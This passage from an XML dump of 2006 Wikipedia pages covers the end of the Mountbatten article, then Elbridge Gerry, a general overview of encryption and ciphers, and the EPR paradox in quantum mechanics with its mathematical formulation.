The killing of Mountbatten was accompanied by the deaths of eighteen soldiers, belonging to [[The Parachute Regiment|the Parachute Regiment]], the same day in a bombing at [[Warrenpoint]], [[County Down]]. Mountbatten's assassination was carried out by members of the IRA from the locality, many of whom frequented [[Bundoran]], [[County Donegal]], a holiday town not far from Mullaghmore. The murders were strongly condemned in the [[Republic of Ireland]], The [[President of Ireland]], [[Patrick Hillery]], and the [[Taoiseach]] (Prime Minister), [[Jack Lynch]], attended a memorial service for Lord Mountbatten of Burma in [[St. Patrick's Cathedral, Dublin|St. Patrick's Cathedral]] in [[Dublin]]. On [[23 November]] [[1979]], [[Thomas McMahon]] was sentenced to life in prison for the assassination and murders. McMahon was released in [[1998]] under the [[Good Friday Agreement]].

==Titles==
*''His Serene Highness'' Prince Louis of Battenberg
*Lord Louis Mountbatten
*''The Right Honourable'' The Viscount Mountbatten of Burma
*''The Right Honourable'' The Earl Mountbatten of Burma

==Honours==
*[[1937]]: [[Royal Victorian Order|Knight Grand Cross of the Royal Victorian Order]] - GCVO ([[1920]]: MVO, [[1922]]: KCVO)
*[[1941]]: [[Distinguished Service Order]] - DSO
*[[1943]]: [[Order of St John|Knight of Justice of St John]] - KJStJ
*[[1946]]: [[Order of the Garter|Knight of the Garter]] - KG
*[[1947]]: [[Order of the Star of India|Knight Grand Commander of the Star of India]] - GCSI
*[[1947]]: [[Order of the Indian Empire|Knight Grand Commander of the Indian Empire]] - GCIE
*[[1955]]: [[Order of the Bath|Knight Grand Cross of the Bath]] - GCB ([[1943]]: CB, [[1945]]: KCB}
*[[1965]]: [[Order of Merit|Member of the Order of Merit]]- OM

==Notes==

{{note|Hansard}} House of Commons, Hansard: [[10 January]] [[1996]] Column 287. http://www.publications.parliament.uk/pa/cm199596/cmhansrd/vo950110/debtext/60110-43.htm
See also: David Leigh, &quot;The Wilson Plot: The Intelligence Services and the Discrediting of a Prime Minister 1945-1976&quot;, London: Heinemann, 1988

==Further reading==
*[[Philip Ziegler]], ''Mountbatten: the official biography'' (Collins, 1985)
* [[Andrew Roberts]] ''Eminent Churchillians'', (Phoenix Press, 1994).
* [[Dominique Lapierre]] and [[Larry Collins (writer)|Larry Collins]] ''[[Freedom at Midnight]]'', (1975).

{{start box}}
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[[Category:Pakistan movement|Mountbatten]]

[[da:Earl Mountbatten]]
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  </page>
  <page>
    <title>Elbridge Gerry</title>
    <id>10293</id>
    <revision>
      <id>41968834</id>
      <timestamp>2006-03-02T23:14:04Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/165.248.247.131|165.248.247.131]] ([[User talk:165.248.247.131|talk]]) to last version by TigerShark</comment>
      <text xml:space="preserve">[[image:Elbridge-gerry-painting.jpg|frame|right|Elbridge Gerry]]
'''Elbridge Gerry''' ([[July 17]], [[1744]] &amp;ndash; [[November 23]], [[1814]]) was an [[United States|American]] [[politician]], a member of the [[United States Democratic-Republican Party|Democratic-Republican Party]].  He was the fifth [[Vice President of the United States]], serving under [[James Madison]], from [[March 4]], [[1813]] until his death.  He was the second Vice President to die in office; the first to have died in office was Gerry's immediate predecessor, [[George Clinton (politician)|George Clinton]], who served under [[Thomas Jefferson]] and [[James Madison]].

Gerry was one of the signers of the [[United States Declaration of Independence|Declaration of Independence]] and the [[Articles of Confederation]].  He later became governor of [[Massachusetts]]. He is most famous for being the namesake of the art of [[gerrymandering]] &amp;mdash; a process by which electoral districts are drawn with the aim of aiding the party in power.

==Early life==
Born in [[Marblehead, Massachusetts]], the third of twelve children, he was a graduate of [[Harvard College]], where he studied to be a merchant, attending there from age fourteen. He worked in his father's shipping business and came to prominence over his opposition to commerce taxes. He was elected to the General Court of the province of Massachusetts in May [[1772]] on an anti-[[Kingdom of Great Britain|British]] platform.

==Career==
Gerry was a Massachusetts delegate to the [[Continental Congress]] from February [[1776]] to [[1780]]. He also served from [[1783]] to September [[1785]] and was married in 1786. In [[1787]] he attended the [[United States Constitutional Convention]] and was one of the delegates voting against the new constitution (joining Mason and Randolph in not signing it). He was elected to the [[United States House of Representatives|U.S. House]] under the new national government, and served in Congress from [[1789]] to [[1793]]. 

In 1797-98 he served in the delegation to [[France]] over the [[XYZ Affair]]. In 1810 he was elected [[Governor of Massachusetts]].  He was re-elected in [[1811]] but defeated in 1812 over his support for the redistricting bill that created the word [[gerrymander]]. Despite this he was chosen as vice president to [[James Madison]]. He died in office in [[Washington, D.C.]] and is buried there in the [[Congressional Cemetery]].

Gerry's longtime house, the historic [[Elmwood (house)|Elmwood]] mansion in [[Cambridge, Massachusetts]] was birthplace to noted poet [[James Russell Lowell]] a few years after Gerry's death. His great grandson was a United States Senator; [[Peter G. Gerry]].

==Quotes==
*&quot;The evils we experience flow from the excess of democracy.  The people do not want virtue, but are dupes of pretended patriots&quot; (1)

==References==
#''Government By The People, The Dynamics of American National, State, and Local Government'', James MacGregor Burns &amp; Jack Walter Peltason, 6th edition, Prentice-Hall, Inc., Englewood Cliffs, NJ, 1963. pg 50.

==Bibliography==
*James Austin; ''&quot;&lt;u&gt;Life of Elbridge Gerry&lt;/u&gt;&quot;;'' 1970; Da Capo Press (ISBN 0306718413).
*George Billias; ''&quot;&lt;u&gt;Elbridge Gerry, Founding Father and Republican Statesman&lt;/u&gt;&quot;;'' 1976, McGraw-Hill Publishers (ISBN 0070052697).

==External links==
* {{CongBio|G000139}}

{{start box}}
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| before=(none)
| after= [[David Cobb (Massachusetts)|David Cobb]]
| years=1789-1793}}
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| before=[[George Clinton (politician)|George Clinton]]
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[[Category:1744 births|Gerry, Elbridge]]
[[Category:1814 deaths|Gerry, Elbridge]]
[[Category:Continental Congressmen|Gerry, Elbridge]]
[[Category:Governors of Massachusetts|Gerry, Elbridge]]
[[Category:Members of the United States House of Representatives from Massachusetts|Gerry, Elbridge]]
[[Category:People from Massachusetts|Gerry, Elbridge]]
[[Category:Signers of the U.S. Declaration of Independence|Gerry, Elbridge]]
[[Category:Vice Presidents of the United States|Gerry, Elbridge]]

[[de:Elbridge Gerry]]
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    </revision>
  </page>
  <page>
    <title>Encryption</title>
    <id>10294</id>
    <revision>
      <id>41922198</id>
      <timestamp>2006-03-02T17:13:51Z</timestamp>
      <contributor>
        <username>ArnoldReinhold</username>
        <id>84951</id>
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      <comment>/* See also */ rm entries covered in templates</comment>
      <text xml:space="preserve">:''This article is about algorithms for encryption and decryption. For an overview of cryptographic technology in general, see [[cryptography]]. For the movie, see [[Encrypt (film)]].''
In [[cryptography]], '''encryption''' is the process of obscuring [[information]] to make it unreadable without special knowledge. While encryption has been used to protect communications for centuries, only organizations and individuals with an extraordinary need for secrecy had made use of it. In the mid-1970s, strong encryption emerged from the sole preserve of secretive government agencies into the public domain, and is now employed in protecting widely-used systems, such as Internet [[e-commerce]], [[mobile telephone]] networks and bank [[automatic teller machine]]s.

Encryption can be used to ensure secrecy, but other techniques are still needed to make communications secure, particularly to verify the integrity and authenticity of a message; for example, a [[message authentication code]] (MAC) or [[digital signature]]s. Another consideration is protection against [[traffic analysis]].

Encryption or software [[code obfuscation]] is also used in software [[copy protection]] against [[reverse engineering]], unauthorized application analysis, cracks and software piracy used in different encryption or [[obfuscating software]]  

== Ciphers ==
A '''cipher''' is an [[algorithm]] for performing [[encryption]] (and the reverse, '''decryption''') &amp;mdash; a series of well-defined steps that can be followed as a procedure. An alternative term is '''encipherment'''. 

The original information is known as ''[[plaintext]]'', and the encrypted form as '''ciphertext'''. The ciphertext message contains all the information of the plaintext message, but is not in a format readable by a human or computer without the proper mechanism to decrypt it; it should resemble random gibberish to those not intended to read it.

The operation of a cipher usually depends on a piece of auxiliary information, called a [[key (cryptography)|key]] or, in traditional [[NSA]] parlance, a '''cryptovariable.''' The encrypting procedure is varied depending on the key, which changes the detailed operation of the algorithm. A key must be selected before using a cipher to encrypt a message. Without the same key, it should be difficult, if not impossible, to decrypt the resulting ciphertext into readable plaintext.

&quot;Cipher&quot; is alternatively spelled &quot;cypher&quot;; similarly &quot;ciphertext&quot; and &quot;cyphertext&quot;, and so forth. The word descends from the [[Arabic language|Arabic]] word for zero: ''{{IPA|s&amp;#803;}}ifr'' or  صِفْر, like (the Italian) ''zero'' (which remained in use for 0, the crucial innovation in positional Arabic versus Roman numerals) but soon was used for any decimal digit, even any number. While it may have come to mean encoding because that often involved numbers, a theory says conservative Catholic opponents of the Arabic (heathen) numerals equated it with any 'dark secret'.

== Ciphers versus codes ==
: ''Main article: [[Code (cryptography)]]''
In non-technical usage, a &quot;(secret) [[code (cryptography)|code]]&quot; is the same thing as a cipher.  Within technical discussions, however, they are distinguished into two concepts. Codes work at the level of meaning &amp;mdash; that is, words or phrases are converted into something else. Ciphers, on the other hand, work at a lower level: the level of individual letters, small groups of letters, or, in modern schemes, individual bits. Some systems used both codes and ciphers in one system, using  [[superencipherment]] to increase the security.

Historically, cryptography was split into a dichotomy of codes and ciphers, and coding had its own terminology, analogous to that for ciphers: &quot;''encoding'', ''codetext'', ''decoding''&quot; and so on. However, codes have a variety of drawbacks, including susceptibility to [[cryptanalysis]] and the difficulty of managing a cumbersome [[codebook]]. Because of this, codes have fallen into disuse in modern cryptography, and ciphers are the dominant technique.

== Types of cipher ==
There are a variety of different types of encryption. Algorithms used earlier in the [[history of cryptography]] are substantially different from modern methods, and modern ciphers can be classified according to how they operate and whether they use one or two keys.

Historical pen and paper ciphers used in the past are sometimes known as [[classical cipher]]s. They include [[substitution cipher]]s and [[transposition cipher]]s. During the early [[20th century]], more sophisticated machines for encryption were used, [[rotor machine]]s, which were more complex than previous schemes. 

Encryption methods can be divided into [[symmetric key algorithm]]s([[Private-key cryptography]]) and [[asymmetric key algorithm]]s([[Public-key cryptography]]). In a [[symmetric key algorithm]] (e.g., [[Data Encryption Standard|DES]] and [[Advanced Encryption Standard|AES]]), the sender and receiver must have a shared key set up in advance and kept secret from all other parties; the sender uses this key for encryption, and the receiver uses the same key for decryption. In an [[asymmetric key algorithm]] (e.g., [[RSA]]), there are two separate keys: a ''public key'' is published and enables any sender to perform encryption, while a ''private key'' is kept secret by the receiver and enables only him to perform decryption.

Symmetric key ciphers can be distinguished into two types, depending on whether they work on blocks of symbols of fixed size (''[[block cipher]]s''), or on a continuous stream of symbols (''[[stream cipher]]s'').

== See also ==
* [[Famous ciphertexts]]
* [[Private-key cryptography]] ([[symmetric key algorithm]])
* [[Public-key cryptography]] ([[asymmetric key algorithm]])

== External links ==
*[http://www.hermetic.ch/crypto/intro.htm An Introduction to the Use of Encryption]
*[http://www.securitydocs.com/Encryption SecurityDocs] Resource for Encryption Whitepapers
*[http://www.mycrypto.net/encryption/crypto_algorithms.html Encryption Algorithms]
*[http://www.snapfiles.com/freeware/security/fwencrypt.html Freeware Encryption Software]
*[http://mathworld.wolfram.com/RSAEncryption.html RSA Encryption]
*[http://www.nabble.com/Encryption-f942.html Encryption Forum]
*[http://www.securestandard.com/Cryptology SecureStandard] Directory of Encryption Whitepapers
*[http://www.elfqrin.com/codecracker.html Code Cracker] Cracks many classic encryption codes (up to the 20th century)

{{classical_cryptography}}
{{stream_ciphers}}
{{block_ciphers}}
{{Public-key cryptography}}

[[Category:Computer security]]
[[Category:Cryptography]]

[[da:Kryptering]]
[[de:Verschlüsselung]]
[[eo:Ĉifrado]]
[[fr:Chiffrement]]
[[id:Enkripsi]]
[[is:Dulkóðun]]
[[nl:Encryptie]]
[[ja:暗号]]
[[pl:Szyfr]]
[[ru:Шифрование]]
[[simple:Encryption]]
[[sv:Kryptering]]
[[th:การเข้ารหัส]]
[[vi:Mã hóa]]
[[zh:加密]]</text>
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  </page>
  <page>
    <title>Elias Lonnrot</title>
    <id>10295</id>
    <revision>
      <id>15908116</id>
      <timestamp>2003-05-04T23:42:05Z</timestamp>
      <contributor>
        <username>Den fjättrade ankan</username>
        <id>8624</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Elias Lönnrot]]</text>
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  <page>
    <title>EPR paradox</title>
    <id>10296</id>
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        <username>Linas</username>
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      <comment>rv fiddling</comment>
      <text xml:space="preserve">In [[quantum mechanics]], the '''EPR paradox''' (Einstein-Podolsky-Rosen) is a [[thought experiment]] which demonstrates that the result of a measurement performed on one part of a quantum system can have an instantaneous effect on the result of a measurement performed on another part, regardless of the distance separating the two parts. Although this may seem incompatible with [[special relativity]], which states that [[information theory|information]] cannot be transmitted faster than the [[speed of light]], this is not the case. &quot;EPR&quot; stands for [[Albert Einstein]], [[Boris Podolsky]], and [[Nathan Rosen]], who introduced the thought experiment in a [[1935]] paper to argue that quantum mechanics is not a complete physical theory. It is sometimes referred to as the '''EPRB paradox''' for [[David Bohm]], who converted the original thought experiment into something closer to being experimentally testable.

Although originally devised as a thought experiment that should expose quantum mechanics' incompleteness, actual experimental results, carried out when technology later became available, do demonstrate the non-local effect, effectively retorting against the EPR trio's original purpose.
The &quot;spooky action at a distance&quot; that so disturbed EPR consistently occurs in numerous and widely replicated experiments.
Einstein never really accepted quantum mechanics as a &quot;real&quot; and complete theory, struggling to the end of his career (and life) for an interpretation that could comply with his Relativity without implying &quot;God playing dice&quot;, as he condensed his dissatisfaction with QM's intrinsic randomness and (still to be resolved) counter-intuitivity.

The EPR paradox is a [[physical paradox|paradox]] in the following sense: if one takes quantum mechanics and adds some seemingly reasonable conditions (referred to as [[Principle_of_locality| &quot;locality&quot;]], &quot;realism&quot;, and &quot;completeness&quot;), then one obtains a [[contradiction]]. However, quantum mechanics by itself does not appear to be internally inconsistent, nor &amp;mdash; as it turns out &amp;mdash; does it contradict relativity. As a result of further theoretical and experimental developments since the original EPR paper, most physicists today regard the EPR paradox as an illustration of how quantum mechanics violates [[classical physics|classical]] intuitions, and not as an indication that quantum mechanics is fundamentally flawed.

== Description of the paradox ==

The EPR paradox draws on a phenomenon predicted by quantum mechanics, known as [[quantum entanglement]], to show that measurements performed on spatially separated parts of a quantum system can apparently have an instantaneous influence on one another. This effect is now known as &quot;[[nonlocality|nonlocal behaviour]]&quot; (or colloquially as &quot;quantum weirdness&quot;). In order to illustrate this, let us consider a simplified version of the EPR thought experiment due to Bohm.

=== Measurements on an entangled state ===

We have a source that emits pairs of electrons, with one electron sent to destination ''A'', where there is an observer named [[Alice and Bob|Alice]], and another is sent to destination ''B'', where there is an observer named [[Alice and Bob|Bob]]. According to quantum mechanics, we can arrange our source so that each emitted electron pair occupies a [[quantum state]] called a [[spin singlet]]. This can be viewed as a [[quantum superposition]] of two states, which we call I and II. In state I, electron ''A'' has [[spin (physics)|spin]] pointing upward along the ''z''-axis (''+z'') and electron ''B'' has spin pointing downward along the ''z''-axis (''-z''). In state II, electron ''A'' has spin ''-z'' and electron ''B'' has spin ''+z''. Therefore, it is impossible to associate either electron in the spin singlet with a state of definite spin. The electrons are thus said to be [[quantum entanglement|entangled]].

[[Image:EPR-paradox-illus.png|thumb|500px|center|The EPR thought experiment, performed with electrons. A source (center) sends electrons toward two observers, Alice (left) and Bob (right), who can perform spin measurements.]]

Alice now measures the spin along the ''z''-axis. She can obtain one of two possible outcomes: ''+z'' or ''-z''. Suppose she gets ''+z''. According to quantum mechanics, the quantum state of the system [[wavefunction collapse|collapses]] into state I. (Different [[interpretation of quantum mechanics|interpretations of quantum mechanics]] have different ways of saying this, but the basic result is the same.) The quantum state determines the probable outcomes of any measurement performed on the system. In this case, if Bob subsequently measures spin along the z-axis, he will obtain ''-z'' with 100% probability. Similarly, if Alice gets ''-z'', Bob will get ''+z''.

There is, of course, nothing special about our choice of the ''z'' axis. For instance, suppose that Alice and Bob now decide to measure spin along the ''x''-axis. According to quantum mechanics, the spin singlet state may equally well be expressed as a superposition of spin states pointing in the ''x'' direction. We'll call these states Ia and IIa. In state Ia, Alice's electron has spin ''+x'' and Bob's electron has spin ''-x''. In state IIa, Alice's electron has spin ''-x'' and Bob's electron has spin ''+x''. Therefore, if Alice measures ''+x'', the system collapses into Ia, and Bob will get ''-x''. If Alice measures ''-x'', the system collapses into IIa, and Bob will get ''+x''.

In quantum mechanics, the ''x''-spin and ''z''-spin are &quot;incompatible observables&quot;, which means that there is a [[uncertainty principle|Heisenberg uncertainty principle]] operating between them: a quantum state cannot possess a definite value for both variables. Suppose Alice measures the ''z''-spin and obtains ''+z'', so that the quantum state collapses into state I. Now, instead of measuring the ''z''-spin as well, Bob measures the ''x''-spin. According to quantum mechanics, when the system is in state I, Bob's ''x''-spin measurement will have a 50% probability of producing ''+x'' and a 50% probability of ''-x''. Furthermore, it is fundamentally impossible to predict which outcome will appear until Bob actually performs the measurement.

Incidentally, although we have used spin as an example, many types of physical quantities &amp;mdash; what quantum mechanics refers to as &quot;observables&quot; &amp;mdash; can be used to produce quantum entanglement. The original EPR paper used [[momentum]] for the observable. Actual experimental realizations of the EPR scenario often use the [[polarization]] of [[photon]]s, because it is easy to prepare and to measure.

=== Reality and completeness ===

We will now introduce two concepts used by Einstein, Podolsky, and Rosen, which are crucial to their attack on quantum mechanics: (i) the ''elements of physical reality'' and (ii) the ''completeness of a physical theory''.

The authors did not directly address the [[philosophy|philosophical]] meaning of an &quot;element of physical reality&quot;. Instead, they made the assumption that ''if'' the value of any physical quantity of a system can be predicted with absolute certainty prior to performing a measurement or otherwise disturbing it, then that quantity corresponds to an element of physical reality. Note that the converse is not assumed to be true; there may be other ways for elements of physical reality to exist, but this will not affect the argument.

Next, EPR defined a &quot;complete physical theory&quot; as one in which every element of physical reality is accounted for. The aim of their paper was to show, using these two definitions, that quantum mechanics is not a complete physical theory.

Let us see how these concepts apply to the above thought experiment. Suppose Alice decides to measure the value of spin along the ''z''-axis (we'll call this the ''z''-spin.) After Alice performs her measurement, the ''z''-spin of Bob's electron is definitely known, so it is an element of physical reality. Similarly, if Alice decides to measure spin along the ''x''-axis, the ''x''-spin of Bob's electron is an element of physical reality after her measurement.

We have seen that a quantum state cannot possess a definite value for both ''x''-spin and ''z''-spin. If quantum mechanics is a complete physical theory in the sense given above, ''x''-spin and ''z''-spin cannot be elements of reality at the same time. This means that Alice's decision &amp;mdash; whether to perform her measurement along the ''x''- or ''z''-axis &amp;mdash; has an instantaneous effect on the elements of physical reality at Bob's location. However, this violates another principle, that of ''locality''.

=== Locality in the EPR experiment ===

The principle of locality states that physical processes occurring at one place should have no immediate effect on the elements of reality at another location. At first sight, this appears to be a reasonable assumption to make, as it seems to be a consequence of [[special relativity]], which states that [[information]] can never be transmitted faster than the [[speed of light]] without violating [[causality (physics)|causality]]. It is generally believed that any theory which violates causality would also be internally inconsistent, and thus deeply unsatisfactory.

It turns out that quantum mechanics violates the principle of locality without violating causality. Causality is preserved because there is no way for Alice to transmit messages (i.e. information) to Bob by manipulating her measurement axis. Whichever axis she uses, she has a 50% probability of obtaining &quot;''+''&quot; and 50% of obtaining &quot;''-''&quot;, completely at [[randomness|random]]; according to quantum mechanics, it is fundamentally impossible for her to influence what result she gets. Furthermore, Bob is only able to perform his measurement ''once'': there is a fundamental property of quantum mechanics, known as the &quot;[[no cloning theorem]]&quot;, which makes it impossible for him to make a million copies of the electron he receives, perform a spin measurement on each, and look at the statistical distribution of the results. Therefore, in the one measurement he is allowed to make, there is a 50% probability of getting &quot;''+''&quot; and 50% of getting &quot;''-''&quot;, regardless of whether or not his axis is aligned with Alice's.

However, the principle of locality appeals powerfully to physical intuition, and Einstein, Podolsky and Rosen were unwilling to abandon it. Einstein derided the quantum mechanical predictions as &quot;[[action at a distance (physics)|spooky action at a distance]]&quot;. The conclusion they drew was that quantum mechanics is not a complete theory.

It should be noted that the word [[locality]] has several different meanings in physics. For example, in [[quantum field theory]] &quot;locality&quot; means that quantum fields at different points of space do not interact with one another. However, quantum field theories that are &quot;local&quot; in this sense violate the principle of locality as defined by EPR.

== Resolving the paradox ==

=== Hidden variables ===

There are several possible ways to resolve the EPR paradox. The one suggested by EPR is that quantum mechanics, despite its success in a wide variety of experimental scenarios, is actually an incomplete theory. In other words, there is some as-yet-undiscovered theory of nature to which quantum mechanics acts as a kind of statistical approximation (albeit an exceedingly successful one). Unlike quantum mechanics, the more complete theory contains variables corresponding to all the &quot;elements of reality&quot;. There must be some unknown mechanism acting on these variables to give rise to the observed effects of &quot;non-commuting quantum observables&quot;, i.e. the Heisenberg uncertainty principle. Such a theory is called a [[hidden variable theory]].

To illustrate this idea, we can formulate a very simple hidden variable theory for the above thought experiment. One supposes that the quantum spin-singlet states emitted by the source are actually approximate descriptions for &quot;true&quot; physical states possessing definite values for the ''z''-spin and ''x''-spin. In these &quot;true&quot; states, the electron going to Bob always has spin values opposite to the electron going to Alice, but the values are otherwise completely random. For example, the first pair emitted by the source might be &quot;''(+z, -x)'' to Alice and ''(-z, +x)'' to Bob&quot;, the next pair &quot;''(-z, -x)'' to Alice and ''(+z, +x)'' to Bob&quot;, and so forth. Therefore, if Bob's measurement axis is aligned with Alice's, he will necessarily get the opposite of whatever Alice gets; otherwise, he will get &quot;''+''&quot; and &quot;''-''&quot; with equal probability.

Assuming we restrict our measurements to the ''z'' and ''x'' axes, such a hidden variable theory is experimentally indistinguishable from quantum mechanics. In reality, of course, there is an (uncountably) infinite number of axes along which Alice and Bob can perform their measurements, so there has to be an infinite number of independent hidden variables! However, this is not a serious problem; we have formulated a very simplistic hidden variable theory, and a more sophisticated theory might be able to patch it up. It turns out that there is a much more serious challenge to the idea of hidden variables.

=== Bell's inequality ===

In [[1964]], [[John Stewart Bell|John Bell]] showed that the predictions of quantum mechanics in the EPR thought experiment are actually slightly different from the predictions of a very broad class of hidden variable theories. Roughly speaking, quantum mechanics predicts much stronger statistical [[correlation]]s between the measurement results performed on different axes than the hidden variable theories. These differences, expressed using [[inequality|inequality relations]] known as &quot;Bell's inequalities&quot;, are in principle experimentally detectable. For a detailed derivation of this result, see the article on [[Bell's theorem]].

After the publication of Bell's paper, a variety of experiments were devised to test Bell's inequalities. (As mentioned above, these experiments generally rely on [[photon]] [[polarization]] measurements.) All the experiments conducted to date have found behavior in line with the predictions of standard quantum mechanics.

However, the book is not completely closed on this issue. First of all, Bell's theorem does not apply to all possible &quot;realist&quot; theories. It is possible to construct theories that escape its implications, and are therefore indistinguishable from quantum mechanics, though these theories are generally ''non-local'' &amp;mdash; they are believed to violate both causality and the rules of special relativity. Some workers in the field have also attempted to formulate hidden variable theories that exploit [[Bell test loopholes|loopholes]] in actual experiments, such as the assumptions made in interpreting experimental data. However, no one has ever been able to formulate a local realist theory that can reproduce all the results of quantum mechanics.

=== Implications for quantum mechanics ===

Most physicists today believe that quantum mechanics is correct, and that the EPR paradox is only a &quot;paradox&quot; because classical intuitions do not correspond to physical reality. Several different conclusions can be drawn from this, depending on which [[interpretation of quantum mechanics]] one uses. In the old [[Copenhagen interpretation]], one concludes that the principle of locality does not hold, and that instantaneous [[wavefunction collapse]] really does occur. In the [[many-worlds interpretation]], locality is preserved, and the effects of the measurements arise from the splitting of the observers into different &quot;[[multiple histories|histories]]&quot;.

The EPR paradox has deepened our understanding of quantum mechanics by exposing the fundamentally non-classical characteristics of the [[measurement (quantum mechanics)|measurement]] process. Prior to the publication of the EPR paper, a measurement was often visualized as a physical disturbance inflicted directly on the measured system. For instance, when measuring the position of an electron, one imagines shining a light on it, thus disturbing the electron and producing the quantum mechanical uncertainties in its position. Such explanations, which are still encountered in popular expositions of quantum mechanics, are debunked by the EPR paradox, which shows that a &quot;measurement&quot; can be performed on a particle without disturbing it directly, by performing a measurement on a distant entangled particle.

Technologies relying on quantum entanglement are now being developed. In [[quantum cryptography]], entangled particles are used to transmit signals that cannot be [[Eavesdropping|eavesdropped]] upon without leaving a trace. In [[quantum computation]], entangled quantum states are used to perform computations in [[parallel computing|parallel]], which may allow certain calculations to be performed much more quickly than they ever could be with classical computers.

== Mathematical formulation ==

The above discussion can be expressed mathematically using the [[spin (physics)|quantum mechanical formulation of spin]]. The spin degree of freedom for an electron is associated with a two-dimensional [[Hilbert space]] ''H'', with each quantum state corresponding to a vector in that space. The operators corresponding to the spin along the ''x'', ''y'', and ''z'' direction, denoted ''S&lt;sub&gt;x&lt;/sub&gt;'', ''S&lt;sub&gt;y&lt;/sub&gt;'' and ''S&lt;sub&gt;z&lt;/sub&gt;'' respectively, can be represented using the [[Pauli matrices]]:

&lt;math&gt; S_x = \frac{\hbar}{2}
\begin{bmatrix} 0&amp;1\\1&amp;0\end{bmatrix}, \quad
S_y = \frac{\hbar}{2}
\begin{bmatrix} 0&amp;-i\\i&amp;0\end{bmatrix}, \quad
S_z = \frac{\hbar}{2}
\begin{bmatrix} 1&amp;0\\0&amp;-1\end{bmatrix} &lt;/math&gt;

where &lt;math&gt;\hbar&lt;/math&gt; stands for [[Planck's constant]] divided by ''2&amp;pi;''.

The [[eigenstate]]s of ''S&lt;sub&gt;z&lt;/sub&gt;'' are represented as

:&lt;math&gt;
\left|+z\right\rang \leftrightarrow \begin{bmatrix}1\\0\end{bmatrix}, \quad
\left|-z\right\rang \leftrightarrow \begin{bmatrix}0\\1\end{bmatrix} &lt;/math&gt;

and the eigenstates of ''S&lt;sub&gt;x&lt;/sub&gt;'' are represented as

:&lt;math&gt;
\left|+x\right\rang \leftrightarrow \frac{1}{\sqrt{2}} \begin{bmatrix}1\\1\end{bmatrix}, \quad
\left|-x\right\rang \leftrightarrow \frac{1}{\sqrt{2}} \begin{bmatrix}1\\-1\end{bmatrix} &lt;/math&gt;

The Hilbert space of the electron pair is &lt;math&gt; H \otimes H &lt;/math&gt;, the [[tensor product]] of the two electrons' Hilbert spaces. The spin singlet state is

:&lt;math&gt;
\left|\psi\right\rang = \frac{1}{\sqrt{2}} \bigg(\left|+z\right\rang \otimes \left|-z\right\rang -
\left|-z\right\rang \otimes \left|+z\right\rang \bigg) &lt;/math&gt;

where the two terms on the right hand side are what we have referred to as state I and state II above. From the above equations, it can be shown that the spin singlet can also be written as

:&lt;math&gt;
\left|\psi\right\rang = \frac{-1}{\sqrt{2}} \bigg(\left|+x\right\rang \otimes \left|-x\right\rang -
\left|-x\right\rang \otimes \left|+x\right\rang \bigg) &lt;/math&gt;

where the terms on the right hand side are what we have referred to as state Ia and state IIa.

To illustrate how this leads the violation of local realism, we need to show that after Alice's measurement of ''S&lt;sub&gt;z&lt;/sub&gt;'' (or ''S&lt;sub&gt;x&lt;/sub&gt;''), Bob's value of ''S&lt;sub&gt;z&lt;/sub&gt;'' (or ''S&lt;sub&gt;x&lt;/sub&gt;'') is uniquely determined, and therefore corresponds to an &quot;element of physical reality&quot;. This follows from the principles of measurement in quantum mechanics. When ''S''&lt;sub&gt;z&lt;/sub&gt; is measured, the system state &amp;psi; collapses into an eigenvector of ''S''&lt;sub&gt;z&lt;/sub&gt;.  If the measurement result is ''+z'', this means that immediately after measurement the system state undergoes an orthogonal projection of &amp;psi; onto the
space of states of the form

:&lt;math&gt; \left| +z \right\rangle \otimes \left| \phi\right\rangle \quad \phi \in H &lt;/math&gt;

For the spin singlet, the new state is

:&lt;math&gt; \left| +z \right\rangle \otimes \left| -z \right\rangle. &lt;/math&gt;

Similarly, if Alice's measurement result is ''-z'', a system undergoes an orthogonal projection onto

:&lt;math&gt; \left| -z \right\rangle \otimes \left| \phi\right\rangle \quad \phi \in H  &lt;/math&gt;

which means that the new state is

:&lt;math&gt; \left|-z\right\rangle \otimes \left|+z\right\rangle &lt;/math&gt;

This implies that the measurement for ''S''&lt;sub&gt;z&lt;/sub&gt; for Bob's electron is now determined.  It will be ''-z'' in the first case or ''+z'' in the second case.

It remains only to show that ''S&lt;sub&gt;x&lt;/sub&gt;'' and ''S&lt;sub&gt;z&lt;/sub&gt;'' cannot simultaneously possess definite values in quantum mechanics. One may show in a straightforward manner that no possible vector can be an [[eigenvector]] of both matrices. More generally, one may use the fact that the operators do not [[commutation relation|commute]],

:&lt;math&gt;
\left[ S_x, S_z\right] = - i\hbar S_y \ne 0
&lt;/math&gt;

along with the Heisenberg uncertainty relation

:&lt;math&gt;
\lang (\Delta S_x)^2 \rang \lang (\Delta S_z)^2 \rang \ge 
\frac{1}{4} \left|\lang \left[ S_x, S_z\right] \rang \right|^2
&lt;/math&gt;



== See also ==

* [[Bell test experiments]]
* [[Bell state]]
* [[Bell's theorem]]
* [[CHSH Bell test]]
* [[Local hidden variable theory]]
* [[Quantum teleportation]]
* [[Synchronicity]]

== References ==

=== Selected papers ===

* A. Aspect, ''Bell's inequality test: more ideal than ever'', Nature '''398''' 189 (1999). [http://www-ece.rice.edu/~kono/ELEC565/Aspect_Nature.pdf]
* J.S. Bell ''On the Einstein-Poldolsky-Rosen paradox'', Physics '''1''' 195 (1964). 
* J.S. Bell, ''Bertlmann's Socks and the Nature of Reality''. Journal de Physique '''42''' (1981).
* P.H. Eberhard, ''Bell's theorem without hidden variables''. Nuovo Cimento '''38B1''' 75 (1977).
* P.H. Eberhard, ''Bell's theorem and the different concepts of locality''. Nuovo Cimento '''46B''' 392 (1978).
* A. Einstein, B. Podolsky, and N. Rosen, [http://www.drchinese.com/David/EPR.pdf ''Can quantum-mechanical description of physical reality be considered complete?''] Phys. Rev. '''47''' 777 (1935). [http://prola.aps.org/abstract/PR/v47/i10/p777_1]
* A. Fine, ''Hidden Variables, Joint Probability, and the Bell Inequalities''. Phys. Rev. Lett 48, 291 (1982).
* A. Fine, ''Do Correlations need to be explained?'', in ''Philosophical Consequences of Quantum Theory: Reflections on Bell's Theorem'', edited by Cushing &amp; McMullin (University of Notre Dame Press, 1986).
* L. Hardy, ''Nonlocality for 2 particles without inequalities for almost all entangled states''. Phys. Rev. Lett. '''71''' 1665 (1993).
* M. Mizuki, ''A classical interpretation of Bell's inequality''. Annales de la Fondation Louis de Broglie '''26''' 683 (2001).
